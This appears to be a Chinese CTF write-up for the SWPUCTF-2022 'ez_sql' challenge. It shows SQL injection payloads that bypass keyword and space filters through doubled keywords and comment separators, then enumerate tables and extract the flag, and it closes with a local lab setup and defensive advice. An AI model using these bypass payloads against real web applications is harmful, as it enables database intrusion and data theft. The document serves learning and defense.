
CTF SQL注入实战SWPUCTF-2022 ez_sql 双写绕过与注释符应用解析在网络安全竞赛中SQL注入始终是最基础也最考验技巧的题型之一。今天我们将通过SWPUCTF-2022新生赛的ez_sql题目深入剖析字符型注入中双写绕过与注释符替代空格的实战技巧这些方法在面对严格过滤机制时往往能出奇制胜。1. 题目环境与初步探测首先我们面对的是一个典型的登录框界面通过POST方式传递参数。初始尝试提交空参数时系统返回球球你输入点东西吧的提示这暗示着参数校验机制的存在。关键发现参数名为nss提交任意值后返回假的flag说明存在真假flag机制初步判断为字符型注入测试单引号触发报错nss1 -- 引发语法错误通过报错信息确认存在SQL注入漏洞后我们注意到系统对以下关键词进行了过滤空格字符or字符串union字符串information_schema字符串2. 绕过过滤的核心技巧2.1 注释符替代空格当空格被过滤时MySQL支持多种替代方案/**/ -- 最稳定的替代方式 %09 -- TAB键的URL编码 %0a -- 换行符 %0b -- 垂直制表符 %0c -- 换页符 %0d -- 回车符在本题中我们选择使用/**/作为空格的替代方案构造如下payload测试列数nss-1/**/oorrder/**/by/**/4#提示使用负值(-1)可以确保原始查询不返回数据使union注入的结果能够完整显示2.2 双写绕过关键词过滤当关键操作符被过滤时双写绕过是经典解决方案原始关键词双写变形原理unionununionionWAF可能只检测完整单词oroorr匹配中间插入字符information_schemainfoorrmation_schema破坏关键词连续性实战payload示例nss-1/**/ununionion/**/select/**/1,group_concat(table_name),3/**/from/**/infoorrmation_schema.tables/**/where/**/table_schemadatabase()/**/limit/**/1,1%233. 完整攻击链构建3.1 数据库结构探测通过逐步注入我们获取到以下信息数据库名称NSS_db数据表列表| 表名 | 用途推测 | |---------|----------| | NSS_tb | 目标表 | | users | 干扰表 |目标表字段nss-1/**/ununionion/**/select/**/1,group_concat(column_name),3/**/from/**/infoorrmation_schema.columns/**/where/**/table_nameNSS_tb/**/limit/**/1,1%23返回字段id, Secr3t, flll444g3.2 数据提取技巧针对多字段表推荐使用group_concat组合查询nss-1/**/ununionion/**/select/**/1,group_concat(Secr3t),group_concat(flll444g)/**/from/**/NSS_db.NSS_tb/**/limit/**/1,1%23结果处理建议当返回数据过长被截断时使用substring分段提取对特殊字符编码使用hex()函数转换多表关联时注意使用表名前缀避免歧义4. 本地测试环境搭建为更好理解题目建议搭建本地测试环境# Docker快速部署MySQL环境 docker run -p 3306:3306 --name ctf-sql -e MYSQL_ROOT_PASSWORDctf123 -d mysql:5.7 # 创建题目数据库 CREATE DATABASE NSS_db; USE NSS_db; # 创建数据表结构 CREATE TABLE NSS_tb( id INT PRIMARY KEY, Secr3t VARCHAR(100), flll444g VARCHAR(100) ); CREATE TABLE users(id INT, username VARCHAR(50)); # 插入测试数据 INSERT INTO NSS_tb VALUES(1, dummy, NSSCTF{e9e4d32b-8d81-4718-b0c7-54c3c29110f1});5. 防御方案与思考通过本题我们可以总结出防护SQL注入的进阶方案预处理语句$stmt $conn-prepare(SELECT * FROM users WHERE id?); $stmt-bind_param(i, $input);多层过滤机制正则表达式过滤preg_replace(/(union|select|or)/i, , $input)字符黑名单禁止/*,--,#等注释符号长度限制防止过长的注入payload最小权限原则CREATE USER webuserlocalhost IDENTIFIED BY strongpass; GRANT SELECT ON NSS_db.NSS_tb TO webuserlocalhost;在实际CTF比赛中遇到过滤机制时建议先测试所有空白字符变体尝试大小写混合、双写、注释分割等绕过方式考虑使用like,regexp等替代必要时使用十六进制编码绕过关键词检测这道题目生动展示了即使在严格过滤条件下通过灵活组合基础技巧仍能完成注入攻击。理解这些原理不仅能提升CTF解题能力更能帮助开发人员构建更安全的Web应用。